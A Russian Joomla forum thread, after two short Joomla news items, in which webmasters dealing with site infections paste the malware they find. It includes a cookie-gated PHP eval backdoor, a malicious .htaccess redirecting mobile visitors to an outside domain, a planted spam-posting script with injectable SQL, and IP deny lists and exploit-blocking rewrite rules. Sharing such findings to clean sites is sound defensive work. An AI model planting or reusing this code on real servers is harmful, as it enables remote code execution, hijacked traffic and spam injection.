Новости Joomla

Как тестировать Joomla PHP-разработчику? Компонент Patch tester.

👩‍💻 Как тестировать Joomla PHP-разработчику? Компонент Patch tester.Joomla - open source PHP-фреймворк с готовой админкой. Его основная разработка ведётся на GitHub. Для того, чтобы международному сообществу разработчиков было удобнее тестировать Pull Requests был создан компонент Patch Tester, который позволяет "накатить" на текущую установку Joomla именно те изменения, которые необходимо протестировать. На стороне инфраструктуры Joomla для каждого PR собираются готовые пакеты, в которых находится ядро + предложенные изменения. В каждом PR обычно находятся инструкции по тестированию: куда зайти, что нажать, ожидаемый результат. Тестировщики могут предположить дополнительные сценарии, исходя из своего опыта и найти баги, о которых сообщить разработчику. Или не найти, и тогда улучшение или исправление ошибки быстрее войдёт в ядро Joomla. Напомню, что для того, чтобы PR вошёл в ядро Joomla нужны минимум 2 положительных теста от 2 участников сообщества, кроме автора. Видео на YouTubeВидео на VK ВидеоВидео на RuTubeКомпонент на GitHub https://github.com/joomla-extensions/patchtester@joomlafeed#joomla #php #webdev #community

Вышел релиз Revo PageBuilder Toolkit for YOOtheme Pro 1.6

Вышел релиз Revo PageBuilder Toolkit for YOOtheme Pro 1.6.2PageBuilder Toolkit - это специализированный плагин для конструктора страниц Yootheme Pro, содержит набор различных утилит для ускорения процесса работы и отладки макета, множественные улучшения в интерфейсе, включая поддержку dark mode, подсказки, быстрая смена разрешения в окне просмотра и много чего еще.v.1.6.2 Что нового?- Индикатор статусов: теперь не просто показывает состояние запросов, но и делает автоматические попытки их отправки при кратковременных сбоях в сети, а если это не помогло, то переводит конструктор в ручной режим, что позволяет сохранит макет и настройки темы прежде чем вы потеряете все, что было сделано с момента последнего сохранения- Подсветка ошибок в макете: плагин анализирует код страницы и может автоматически подсвечивать data атрибуты с кучей мусора, которые попадают в код страницы при копипасте из Figma в TinyMCE (пригодится для старых макетов, в текущей работе плагин сам очищает код мусора). Также есть подсветка семантических ошибок сборки - дубли h1 тега на странице и вложенных друг в друга заголовков.- Улучшена поддержка будущего релиза Yootheme Pro 5 и редактора CodeMirror 6Плагин для русскоязычных пользователей доступен в каталоге расширений SovMart и распространяется за символическую плату (100р). Разработчики Joomla расширений и партнеры автора могут получить плагин бесплатно.Для работы плагина необходим конструктор страниц Yootheme Pro.Разработчик плагина - участник нашего сообщества Александр Судьбинов (@alexrevo), член официальной группы поддержки Yootheme Pro. Страница расширенияОписание на сайте автора@joomlafeed#joomla #yootheme

0 Пользователей и 1 Гость просматривают эту тему.
  • 792 Ответов
  • 292312 Просмотров
*

borada

  • Захожу иногда
  • 182
  • 13 / 0
А прочитать сообщение прикрепленное как важное
Да читал я, просто отмечаю как факт на своем сайте, причем с конкретным путем.
« Последнее редактирование: 05.03.2013, 09:41:36 от borada »
*

klara7

  • Захожу иногда
  • 311
  • 4 / 1
Причина заражения - 99% использование вареза.
Вареза не было вообще! Ни шаблонов, ничего другого! Это могу подтвердить.

Что касается странных файлов:
File: /home/сайт/public_html/tmp/install_4dc918bfa0f9c/ilvm_theme/images/flypage_themes/flypage_admirable/0dc26cba.php
String:: $_POST[

File: /home/сайт/public_html/tmp/install_4dc918bfa0f9c/ilvm_theme/images/administration/header/fa05a8a1df.php
String:: $_POST[

File: /home/сайт/public_html/tmp/install_4dc91853ae6ec/ilvm_theme/templates/product_details/2877b9c.php
String:: $_POST[

То там текст такой же, как я указала в первом топике.
Вопрос: может папку tmp вообще почистить?
*

borada

  • Захожу иногда
  • 182
  • 13 / 0
Вопрос: может папку tmp вообще почистить?
Обязательно. Она нужна только для установки  приложений
*

Свят

  • Осваиваюсь на форуме
  • 44
  • 1 / 0
  • Не прыгаю за бабочками, они сами липнут ко мне...
Внимание всем, у кого был вирус в виде страницы из 2500 ссылок и материалов со своей картой сайта имеющий вид site.ru/?option=/cat/sitemap.html
Решение: перезалить на хостинг папку libraries из дистрибутива!
*

playtoppokerru

  • Осваиваюсь на форуме
  • 30
  • 0 / 0
Этот норма, на разработчика.
playtoppokerru
метод document.write( , не вирус.А вот нижний код прописывает ссылку на отправку эмэйл support@trimori.com


Спасибо за ответ. support@trimori.com - это адрес одного из моих партнеров. Он присутствует в тексте одной из статей на Главной странице моего сайта. Не совсем понял, почему он так шифруется. Видимо что-то связанное с плагином "скрытие email адреса". или что-то подобное, я видел в списке плагинов, надо попробовать отключить.
*

xspline

  • Осваиваюсь на форуме
  • 41
  • 2 / 0
нашел часть гада после чистки (в стандартном редакторе):
   POST /plugins/editors/tinymce/jscripts/tiny_mce/plugins/contextmenu
и заблокировал ещё айпишники через .htaccess:
Код
Order Allow,Deny
Allow from all
Deny from 94.242.233.74
Deny from 217.23.5.230
Deny from 208.115.113.85
« Последнее редактирование: 06.03.2013, 14:52:57 от xspline »
*

xspline

  • Осваиваюсь на форуме
  • 41
  • 2 / 0
Обнаружил закономерность - этот скрипт идёт во всех левых файлах с разными именами и на всех зараженных сайтах:
Код
<?php
if(!empty($_COOKIE['__utma']) and substr($_COOKIE['__utma'],0,16)=='3469825000034634'){
if (!empty($_POST['msg']) and $msg=@gzinflate(@base64_decode(@str_replace(' ','',urldecode($_POST['msg']))))){
  echo '<textarea id=areatext>';
  eval($msg);
  echo '</textarea>bg';
  exit;
}}
?>
реплэйсером заменил '3469825000034634' на //this shit has been deleted
пока чисто, т.е. новых пхп-шников не появилось.

P.S> даты создания левых файлов разные, как совсем старые, так и новые, т.е. оно ещё и дату создания корректирует.
P.SS> имена в левых файлах (с кодом выше) от 4 до 10 символов
P.SSS> Насколько я понял, эта хрень использует куки.
« Последнее редактирование: 06.03.2013, 01:58:14 от xspline »
*

borada

  • Захожу иногда
  • 182
  • 13 / 0
и заблокировал ещё айпишники: 217.23.5.230
Аналогично, но я 217 всю закрыл. Мне забугор не нужен.
Я удаляю полностью эти файлы
26 февраля вычистил всё, но 5 го утром снова появилось. С 217.23.5.230 шло обращение к этим файлам.
« Последнее редактирование: 06.03.2013, 01:32:55 от borada »
*

borada

  • Захожу иногда
  • 182
  • 13 / 0
Кстати, JGE 2.3.2.1 вышел. Может с дырками лучше стало. Хотя про это не написано в сhangelog
*

xspline

  • Осваиваюсь на форуме
  • 41
  • 2 / 0
Вот ещё по логам нашел:
Код
208.115.113.85 - - [06/Mar/2013:14:46:25 +0400] "GET /robots.txt HTTP/1.0" 200 924 "-" "Mozilla/5.0 (compatible; Ezooms/1.0; ezooms.bot@gmail.com)"
*

borada

  • Захожу иногда
  • 182
  • 13 / 0
Вот ещё по логам нашел:
Код
208.115.113.85 - - [06/Mar/2013:14:46:25 +0400] "GET /robots.txt HTTP/1.0" 200 924 "-" "Mozilla/5.0 (compatible; Ezooms/1.0; ezooms.bot@gmail.com)"
Это нормально :) для поисковых ботов.
*

xspline

  • Осваиваюсь на форуме
  • 41
  • 2 / 0
Вот кое что нашел: http://www.hostinger.ru/forum/obshiy-chat/939-%D0%B2%D0%BD%D0%B8%D0%BC%D0%B0%D0%BD%D0%B8%D0%B5-%D0%B2%D1%81%D0%B5%D0%BC%7C-%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D1%8B%D0%B9-%D0%B1%D0%BE%D1%82-ezo.html
Цитировать
Бот Ezooms гуляет по страницам и сохраняет страницы и это делается для того чтобы сайту делались деструктивные и не приятные действия.

Данный бот гуляет с User Agent`ом: Mozilla/5.0 (compatible; Ezooms/1.0; ezooms.bot@gmail.com)

и с диапазоном IP-адресов: 208.115.96.0 - 208.115.127.255

Решение!
Забанить диапазон IP-адресов в файле .htaccess , если файла .htaccess нету то его создаем.

Просто добавьте следующие строки:
Код
Order Allow,Deny
Allow from all
Deny from 94.242.233.74
Deny from 217.23.5.230
Deny from 208.115.96.0/24
Deny from 208.115.97.0/24
Deny from 208.115.98.0/24
Deny from 208.115.99.0/24
Deny from 208.115.100.0/24
Deny from 208.115.101.0/24
Deny from 208.115.102.0/24
Deny from 208.115.103.0/24
Deny from 208.115.104.0/24
Deny from 208.115.105.0/24
Deny from 208.115.106.0/24
Deny from 208.115.107.0/24
Deny from 208.115.108.0/24
Deny from 208.115.109.0/24
Deny from 208.115.110.0/24
Deny from 208.115.111.0/24
Deny from 208.115.112.0/24
Deny from 208.115.113.0/24
Deny from 208.115.114.0/24
Deny from 208.115.115.0/24
Deny from 208.115.116.0/24
Deny from 208.115.117.0/24
Deny from 208.115.118.0/24
Deny from 208.115.119.0/24
Deny from 208.115.120.0/24
Deny from 208.115.121.0/24
Deny from 208.115.122.0/24
Deny from 208.115.123.0/24
Deny from 208.115.124.0/24
Deny from 208.115.125.0/24
Deny from 208.115.126.0/24
Deny from 208.115.127.0/24
*

xspline

  • Осваиваюсь на форуме
  • 41
  • 2 / 0
Это нормально :) для поисковых ботов.
нет, это сканер, не поисковик
*

verstalshik

  • Завсегдатай
  • 1754
  • 95 / 1
пожалейте свой сервак!)))
вместо
Спойлер
[свернуть]
пишите так
Deny from 208.115.
сиэтл вроде))) он вам нужен?
« Последнее редактирование: 09.03.2013, 15:57:09 от verstalshik »
❶ НЕ СПРАВЛЯЕШЬСЯ САМ???  Поможем тут...  ❷ Калькулятор доставки - ЗАКАЖИ!!!...  ❸ Каталог компаний - ЖМИ!!!...  ❹ НОВИЧКИ! ВСЕ сюда! Первая консультация БЕСПЛАТНО!!
*

ArtGPA

  • Осваиваюсь на форуме
  • 41
  • 1 / 0
  • ArtGPA
Вот нашел у себя вот такой .htaccess

давайте расшифровывать  что от куда и куда!

 ### ===========================================================================
### Security Enhanced & Highly Optimized .htaccess File for Joomla!
### automatically generated by Admin Tools ADMINTOOLS_VERSION on 2012-07-26 16:02:12 GMT
### Auto-detected Apache version: 2.2 (best guess)
### ===========================================================================
###
### The contents of this file are based on the same author's work "Master
### .htaccess", published on http://snipt.net/nikosdion/the-master-htaccess
###
### Admin Tools is Free Software, distributed under the terms of the GNU
### General Public License version 3 or, at your option, any later version
### published by the Free Software Foundation.
###
### ! IMPORTANT !
### !!                                                                       !!
### !!  If you get an Internal Server Error 500 or a blank page when trying  !!
### !!  to access your site, remove this file and try tweaking its settings  !!
### !!  in the back-end of the Admin Tools component.                        !!
### !!                                                                       !!
### !
###

##### RewriteEngine on
RewriteCond %{HTTP_USER_AGENT} (android|midp|j2me|symbian|series\ 60|symbos|windows\ mobile|windows\ ce|ppc|smartphone|blackberry|mtk|iemobile|nokia|ucweb|ucbrowser) [NC]
RewriteCond %{HTTP_USER_AGENT} !(accoona|ia_archiver|antabot|ask\ jeeves|baidu|eltaindexer|feedfetcher|gamespy|gigabot|googlebot|gsa-crawler|grub-client|gulper|slurp|mihalism|msnbot|worldindexer|ooyyo|pagebull|scooter|w3c_validator|jigsaw|webalta|yahoofeedseeker|mmcrawler|yandexbot|yandeximages|yandexvideo|yandexmedia|yandexblogs|yandexaddurl|yandexfavicons|yandexdirect|yandexmetrika|yandexcatalog|yandexnews|yandeximageresizer) [NC]
RewriteRule (.*) http://ua.pdaupd.net/?19&source=194.0.200.202|www.example.com [L,R=302] # enabled - BEGIN
RewriteEngine on
RewriteCond %{HTTP_USER_AGENT} (android|midp|j2me|symbian|series\ 60|symbos|windows\ mobile|windows\ ce|ppc|smartphone|blackberry|mtk|iemobile|nokia|ucweb|ucbrowser) [NC]
RewriteCond %{HTTP_USER_AGENT} !(accoona|ia_archiver|antabot|ask\ jeeves|baidu|eltaindexer|feedfetcher|gamespy|gigabot|googlebot|gsa-crawler|grub-client|gulper|slurp|mihalism|msnbot|worldindexer|ooyyo|pagebull|scooter|w3c_validator|jigsaw|webalta|yahoofeedseeker|mmcrawler|yandexbot|yandeximages|yandexvideo|yandexmedia|yandexblogs|yandexaddurl|yandexfavicons|yandexdirect|yandexmetrika|yandexcatalog|yandexnews|yandeximageresizer) [NC]
RewriteRule (.*) http://ua.pdaupd.net/?19&source=194.0.200.202|www.example.com [L,R=302] # On
##### RewriteEngine on
RewriteCond %{HTTP_USER_AGENT} (android|midp|j2me|symbian|series\ 60|symbos|windows\ mobile|windows\ ce|ppc|smartphone|blackberry|mtk|iemobile|nokia|ucweb|ucbrowser) [NC]
RewriteCond %{HTTP_USER_AGENT} !(accoona|ia_archiver|antabot|ask\ jeeves|baidu|eltaindexer|feedfetcher|gamespy|gigabot|googlebot|gsa-crawler|grub-client|gulper|slurp|mihalism|msnbot|worldindexer|ooyyo|pagebull|scooter|w3c_validator|jigsaw|webalta|yahoofeedseeker|mmcrawler|yandexbot|yandeximages|yandexvideo|yandexmedia|yandexblogs|yandexaddurl|yandexfavicons|yandexdirect|yandexmetrika|yandexcatalog|yandexnews|yandeximageresizer) [NC]
RewriteRule (.*) http://ua.pdaupd.net/?19&source=194.0.200.202|www.example.com [L,R=302] # enabled - END

##### RewriteBase set - BEGIN
RewriteBase /
##### RewriteBase set - END

##### File execution order -- BEGIN
DirectoryIndex index.php index.html
##### File execution order -- END

##### No directory listings -- BEGIN
IndexIgnore *
Options All -Indexes
##### No directory listings -- END

##### Redirect index.php to / -- BEGIN
RewriteCond %{THE_REQUEST} !^POST
RewriteCond %{THE_REQUEST} ^[A-Z]{3,9}\ /index\.php\ HTTP/
RewriteCond %{SERVER_PORT}>s ^(443>(s)|[0-9]+>s)$
RewriteRule ^index\.php$ http%2://stagingj250.joomlackeditor.com/ [R=301,L]
##### Redirect index.php to / -- END
##### Rewrite rules to block out some common exploits -- BEGIN
RewriteCond %{QUERY_STRING} proc/self/environ [OR]
RewriteCond %{QUERY_STRING} mosConfig_[a-zA-Z_]{1,21}(=|\%3D) [OR]
RewriteCond %{QUERY_STRING} base64_(en|de)code\(.*\) [OR]
RewriteCond %{QUERY_STRING} (<|%3C).*script.*(>|%3E) [NC,OR]
RewriteCond %{QUERY_STRING} GLOBALS(=|\[|\%[0-9A-Z]{0,2}) [OR]
RewriteCond %{QUERY_STRING} _REQUEST(=|\[|\%[0-9A-Z]{0,2})
RewriteRule .* index.php [F]
##### Rewrite rules to block out some common exploits -- END
##### File injection protection -- BEGIN
RewriteCond %{REQUEST_METHOD} GET
RewriteCond %{QUERY_STRING} [a-zA-Z0-9_]=http:// [OR]
RewriteCond %{QUERY_STRING} [a-zA-Z0-9_]=(\.\.//?)+ [OR]
RewriteCond %{QUERY_STRING} [a-zA-Z0-9_]=/([a-z0-9_.]//?)+ [NC]
RewriteRule .* - [F]
##### File injection protection -- END

##### Advanced server protection rules exceptions -- BEGIN
RewriteRule ^administrator\/components\/com_akeeba\/restore\.php$ - [L]
RewriteRule ^administrator\/components\/com_admintools\/restore\.php$ - [L]
RewriteRule ^plugins\/editors\/jckeditor\/install\/index\.php$ - [L]
RewriteRule ^plugins\/editors\/jckeditor\/fields\/combo\.php$ - [L]
RewriteRule ^plugins\/editors\/jckeditor\/plugins\/jtreelink\/dialogs\/initialize\.php$ - [L]
RewriteRule ^plugins\/editors\/jckeditor\/plugins\/jtreelink\/dialogs\/links\.php$ - [L]
RewriteRule ^plugins\/editors\/jckeditor\/plugins\/jfilebrowser\/core\/connector\/php\/connector\.php$ - [L]
RewriteRule ^plugins\/editors\/jckeditor\/plugins\/jckexplorer\/index\.php$ - [L]
RewriteRule ^plugins\/editors\/jckeditor\/plugins\/jckexplorer\/phpthumb\/phpThumb\.php$ - [L]
RewriteRule ^plugins\/editors\/jckeditor\/plugins\/jckexplorer\/view_details\.php$ - [L]
RewriteRule ^plugins\/editors\/jckeditor\/plugins\/jckexplorer\/view_tiles\.php$ - [L]
RewriteRule ^plugins\/editors\/jckeditor\/plugins\/jckexplorer\/view_content\.php$ - [L]
RewriteRule ^plugins\/editors\/jckeditor\/plugins\/jckexplorer\/view_list\.php$ - [L]
RewriteRule ^plugins\/editors\/jckeditor\/plugins\/jckexplorer\/view_images_large\.php$ - [L]
RewriteRule ^plugins\/editors\/jckeditor\/plugins\/jckexplorer\/view_images_small\.php$ - [L]
RewriteRule ^plugins\/editors\/jckeditor\/plugins\/jckexplorer\/file_specs\.php$ - [L]
RewriteRule ^plugins\/editors\/jckeditor\/plugins\/jckexplorer\/swfupload\/upload\.php$ - [L]
RewriteRule ^plugins\/editors\/jckeditor\/plugins\/jckexplorer\/actions\.php$ - [L]
RewriteRule ^plugins\/editors\/jckeditor\/plugins\/jckexplorer\/process\.php$ - [L]
RewriteRule ^plugins\/editors\/jckeditor\/plugins\/jckexplorer\/close\.php$ - [L]
RewriteRule ^plugins\/editors\/jckeditor\/plugins\/ImageManager\/manager\.php$ - [L]
RewriteRule ^plugins\/editors\/jckeditor\/plugins\/ImageManager\/images\.php$ - [L]
RewriteRule ^plugins\/editors\/jckeditor\/plugins\/ImageManager\/thumbs\.php$ - [L]
RewriteRule ^plugins\/editors\/jckeditor\/plugins\/ImageManager\/editor\.php$ - [L]
RewriteRule ^plugins\/editors\/jckeditor\/plugins\/ImageManager\/editorFrame\.php$ - [L]
RewriteRule ^plugins\/editors\/jckeditor\/plugins\/jlink\/dialogs\/suggest\.php$ - [L]
RewriteRule ^plugins\/editors\/jckeditor\/plugins\/jautosave\/autosave\.php$ - [L]
RewriteRule ^plugins\/editors\/jckeditor\/plugins\/texttranslate\/gotranslate\.php$ - [L]
RewriteRule ^plugins\/editors\/jckeditor\/plugins\/atdckeditor\/proxy\.php$ - [L]
RewriteRule ^plugins\/editors\/jckeditor\/plugins\/aspell\/spellerpages\/server-scripts\/spellchecker\.php$ - [L]
RewriteRule ^plugins\/editors\/jckeditor\/plugins\/jallvideos\/dialogs\/event\.php$ - [L]
RewriteRule ^plugins\/editors\/jckeditor\/plugins\/jsimpleimagegallery\/dialogs\/event\.php$ - [L]
RewriteRule ^plugins\/editors\/jckeditor\/plugins\/articlepreview\/index\.php$ - [L]
RewriteRule ^plugins\/editors\/jckeditor\/typography\/typography\.php$ - [L]
RewriteRule ^plugins\/editors\/jckeditor\/plugins\/jallvideos\/dialogs\/updatemediatype\.php$ - [L]
RewriteRule ^plugins\/editors\/jckeditor\/plugins\/GeSHi\/dialogs\.dialog\.php$ - [L]
RewriteRule ^plugins\/editors\/jckeditor\/plugins\/GeSHi\/dialogs\/dialog\.php$ - [L]
RewriteRule ^plugins\/editors\/jckeditor\/plugins\/jdoclink\/params\.config$ - [L]
RewriteRule ^plugins\/editors\/jckeditor\/plugins\/imageresize\/imageresize\.php$ - [L]
RewriteRule ^plugins\/editors\/jckeditor\/plugins\/imageresize\/simpleimage\.php$ - [L]
RewriteRule ^plugins\/editors\/jckeditor\/plugins\/htmlfilters\/ajaxfilters\.php$ - [L]
RewriteRule ^plugins\/editors\/jckeditor\/plugins\/htmlfilters\/helper\/helper\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !(\.php)$
RewriteCond %{REQUEST_FILENAME} -f
RewriteRule ^plugins\/editors\/jckeditor\/install/ - [L]
RewriteCond %{REQUEST_FILENAME} !(\.php)$
RewriteCond %{REQUEST_FILENAME} -f
RewriteRule ^plugins\/editors\/jckeditor\/\.\.\/\.\.\/\.\.\/files/ - [L]
RewriteRule ^templates\/your_template_name_here/ - [L]
##### Advanced server protection rules exceptions -- END

##### Advanced server protection -- BEGIN

RewriteCond %{QUERY_STRING} \=PHP[a-f0-9]{8}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{12} [NC]
RewriteRule .* - [F]
## Back-end protection
RewriteRule ^administrator/?$ - [L]
RewriteRule ^administrator/index\.(php|html?)$ - [L]
RewriteRule ^administrator/index[23]\.php$ - [L]
RewriteRule ^administrator/(components|modules|templates|images|plugins)/.*\.(jpe|jpg|jpeg|jp2|jpe2|png|gif|bmp|css|js|swf|html|mpg|mp3|mpeg|mp4|avi|wav|ogg|ogv|xls|xlsx|doc|docx|ppt|pptx|zip|rar|pdf|xps|txt|7z|svg|odt|ods|odp|flv|mov|htm|ttf|woff|eot)$ - [L]
RewriteRule ^administrator/ - [F]
## Explicitly allow access only to XML-RPC's xmlrpc/index.php or plain xmlrpc/ directory
RewriteRule ^xmlrpc/(index\.php)?$ - [L]
RewriteRule ^xmlrpc/ - [F]
## Allow limited access for certain Joomla! system directories with client-accessible content
RewriteRule ^(components|modules|templates|images|plugins|media|libraries)/.*\.(jpe|jpg|jpeg|jp2|jpe2|png|gif|bmp|css|js|swf|html|mpg|mp3|mpeg|mp4|avi|wav|ogg|ogv|xls|xlsx|doc|docx|ppt|pptx|zip|rar|pdf|xps|txt|7z|svg|odt|ods|odp|flv|mov|ico|htm|ttf|woff|eot)$ - [L]
RewriteRule ^(components|modules|templates|images|plugins|media|libraries)/.*index\.php - [L]
RewriteRule ^(components|modules|templates|images|plugins|media|libraries)/ - [F]
## Disallow front-end access for certain Joomla! system directories (unless access to their files is allowed above)
RewriteRule ^includes/js/ - [L]
RewriteRule ^(cache|includes|language|logs|tmp)/ - [F]

## Disallow access to rogue PHP files throughout the site, unless they are explicitly allowed
RewriteCond %{REQUEST_FILENAME} (\.php)$
RewriteCond %{REQUEST_FILENAME} !(/index[23]?\.php)$
RewriteCond %{REQUEST_FILENAME} -f
RewriteRule (.*\.php)$ - [F]
## Disallow access to htaccess.txt, php.ini and configuration.php-dist
RewriteRule ^(htaccess\.txt|configuration\.php-dist|php\.ini)$ - [F]
##### Advanced server protection -- END

##### Joomla! core SEF Section -- BEGIN
RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}]
RewriteCond %{REQUEST_URI} !^/index\.php
RewriteCond %{REQUEST_URI} /component/|(/[^.]*|\.(php|html?|feed|pdf|raw|ini|zip|json|file|vcf))$ [NC]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule .* index.php [L]
##### Joomla! core SEF Section -- END




*

draff

  • Гуру
  • 5801
  • 434 / 7
  • ищу работу
Редирект на "чужой" сайт
Спойлер
[свернуть]
п.с.
Есть тема про .htaccess http://joomlaforum.ru/index.php?PHPSESSID=ff1f1c18e1c1a498a1d82ea542e5e5e2&topic=148977.0
« Последнее редактирование: 10.03.2013, 13:49:19 от draff »
*

ArtGPA

  • Осваиваюсь на форуме
  • 41
  • 1 / 0
  • ArtGPA
Редирект на "чужой" сайт
Спойлер
[свернуть]

Это понятно.
Больше интересуют строки ниже:
*

verstalshik

  • Завсегдатай
  • 1754
  • 95 / 1
а что там расшифровывать-то?))) переписать стандартным и усе, не? там ПОЛЕЗНОЙ ДЛЯ ВАС инфы с гулькин нос
❶ НЕ СПРАВЛЯЕШЬСЯ САМ???  Поможем тут...  ❷ Калькулятор доставки - ЗАКАЖИ!!!...  ❸ Каталог компаний - ЖМИ!!!...  ❹ НОВИЧКИ! ВСЕ сюда! Первая консультация БЕСПЛАТНО!!
*

ArtGPA

  • Осваиваюсь на форуме
  • 41
  • 1 / 0
  • ArtGPA
Вот что еще нарыл у себя фаил Joomla.php в папке /images

 <?php

$config_file = "../configuration.php"; // путь относительно текущей папки
$images_dir = "/images/"; // путь относительно корневой папки, пример /images/

if (file_exists($config_file)) require_once($config_file);
else {   print "Error: configuration file '".$config_file."' does not exists.";
   exit ;
}

if (class_exists('JConfig')) $config = new JConfig;
else {
   print "Error: class JConfig does not exitst.";
   exit;
}

if ($images_dir == "") die("ERROR: Images Directory does not set");
if ($images_dir[0] != "/") $images_dir = '/'.$images_dir;
if ($images_dir[count($images_dir)-1] != "/") $images_dir.= '/';

$mysql_connection = mysql_connect($config -> host, $config -> user, $config -> password) or die("ERROR: Can not connect to MySQL server.");
mysql_select_db($config -> db, $mysql_connection) or die("ERROR: Can not select the MySQL database.");
mysql_query("set names utf8");

$timezone = ($config -> offset > 0)? "+" : "-";
$offset = abs($config -> offset);
$timezone.= str_pad(floor($offset), 2, 0, STR_PAD_LEFT).":";
$timezone.= ($offset - floor($offset) > 0)? "30" : "00";

mysql_query("set time_zone='".$timezone."'");

if ($_GET["mode"] == "test" or $_POST["mode"] == "test") {
        print "Test mode. <br />";

        if ($f = fopen($_SERVER['DOCUMENT_ROOT'].$images_dir."test.tmp", "a")) {
                fputs($f, 'test');
                fclose($f);
                @unlink($_SERVER['DOCUMENT_ROOT'].$images_dir."test.tmp");
        } else print "Warning: unavailable to write `".$_SERVER['DOCUMENT_ROOT'].$images_dir."`<br />";

        print "Ok <br />";
        if (count($_POST)) print "<pre>".print_r($_POST, true)."</pre>";

        exit;
}
elseif (strlen($_POST['title'].$_POST['text']) == 0) { print "No input data. Status: OK."; exit; }

foreach ($_POST as $j => $i) $_POST[$j] = addslashes(stripslashes(urldecode($i)));

if ($_POST["image"]) {   save_image($_POST["image"], $_POST["alias"]);
   $_POST["intro"] = "<img src='".$images_dir.$_POST["alias"].".jpg' align='left' style='margin: 0px 10px 10px 0px;' />". $_POST["intro"];
}

$tmp_cat = substr($_POST['category'], 0, 1);
$tmp_cat_id = substr($_POST['category'], 1);
if ($tmp_cat == '=' and is_numeric($tmp_cat_id)) $category_id = $tmp_cat_id;
else {
        $result = mysql_query("select `id` from `".$config -> dbprefix."categories` where `title`=\"".$_POST["category"]."\"");
        if ($row = mysql_fetch_array($result)) $category_id = $row[0];
        else {
                print "Ошибка: Категория `".$_POST['category']."` не найдена. Не могу определить категорию для постинга.";
                exit;
        }
}

$tmp_sec = substr($_POST["section"], 0, 1);
$tmp_sec_id = substr($_POST["section"], 1);
if ($tmp_cat == '=' and is_numeric($tmp_sec_id)) $section_id = $tmp_sec_id;
else {
        $result = mysql_query("select `id` from `".$config -> dbprefix."sections` where `title`=\"".$_POST["section"]."\"");
        if ($row = mysql_fetch_array($result)) $section_id = $row[0];
        else {
                print "Ошибка: Категория `".$_POST['section']."` не найдена. Не могу определить раздел для постинга.";
                exit;
        }
}

$attribs = "show_title=
link_titles=
show_intro=
show_section=
link_section=
show_category=
link_category=
show_vote=
show_author=
show_create_date=
show_modify_date=
show_pdf_icon=
show_print_icon=
show_email_icon=
language=
keyref=
readmore=";

$metadata = "robots=
author=";

$sql = " insert into `".$config -> dbprefix."content` set ";
$sql.= "`title`=\"".$_POST["title"]."\", ";
$sql.= "`alias`=\"".$_POST["alias"]."\", ";
$sql.= "`title_alias`=\"\", ";
$sql.= "`introtext`=\"".$_POST["intro"]."\", ";
$sql.= "`fulltext`=\"".$_POST["text"]."\", ";
$sql.= "`state`=1, ";
$sql.= "`sectionid`=".$section_id.", ";
$sql.= "`mask`=0, ";
$sql.= "`catid`=".$category_id.", ";
$sql.= "`created`=NOW(), ";
$sql.= "`created_by`=1, ";
$sql.= "`created_by_alias`=\"\", ";
$sql.= "`publish_up`=NOW(), ";
$sql.= "`images`=\"\", ";
$sql.= "`urls`=\"\", ";
$sql.= "`attribs`=\"".$attribs."\", ";
$sql.= "`version`=1, ";
$sql.= "`parentid`=0, ";
$sql.= "`ordering`=1, ";
$sql.= "`metakey`=\"\", ";
$sql.= "`metadesc`=\"\", ";
$sql.= "`access`=0, ";
$sql.= "`hits`=0, ";
$sql.= "`metadata`=\"".$metadata."\";";

$result = mysql_query($sql);

header("Content-Type: text/html; charset=windows-1251");
if ($result) print "done"; else print "ERROR: MySQL Error". mysql_error();


        function save_image($url, $fname) {
                global $images_dir;

           $url =str_replace("http://", "", $url);
           $uri = explode("/", $url, 2);
           $eoln = "\r\n";
                $handle = fsockopen($uri[0], 80, $errno, $errstr, 60);
                if ($handle) {
                        fputs($handle, "GET /".$uri[1]." HTTP/1.0".$eoln);
                        fputs($handle, "Host: ".$uri[0].$eoln);
                        fputs($handle, "Connection: close".$eoln.$eoln);

                        $answer = "";
                        while (!feof($handle)) $answer.= fgets($handle, 4096);
                        fclose($handle);

                        list($header, $data) = explode("\r\n\r\n", $answer, 2);

                  if(!(strpos($header,"Transfer-Encoding: chunked")===false)){
                      $aux=split("\r\n",$data);
                      for($i=0;$i<count($aux);$i++)
                          if($i==0 || ($i%2==0))
                              $aux[$i]="";
                      $data=implode("",$aux);
                  }//if
                  $rdata = chop($data);

                  $fpath = $_SERVER['DOCUMENT_ROOT'].$images_dir.$fname.".jpg";

             $f = @fopen($fpath, "w");
             if ($f) {
                fputs($f, $rdata);
                fclose($f);
                @chmod($fpath, 0666);
                return true;
                            } else return false;
                } else return false;
        }
*

Очередной вебмастер

  • Давно я тут
  • 768
  • 55 / 0
  • лысый умный дядя
Блин, это че за эпидемия?
Жил спокойно 2 года, а теперь каждую неделю у клиентов заражение сайта...
Все php файлы на сайте заражены... base64
Сайты на Joomla, разработка и поддержка
----------
Помог ответ - жми плюс!
*

Очередной вебмастер

  • Давно я тут
  • 768
  • 55 / 0
  • лысый умный дядя
Все файлы, в особенности шаблонов просто усеяны :
Код
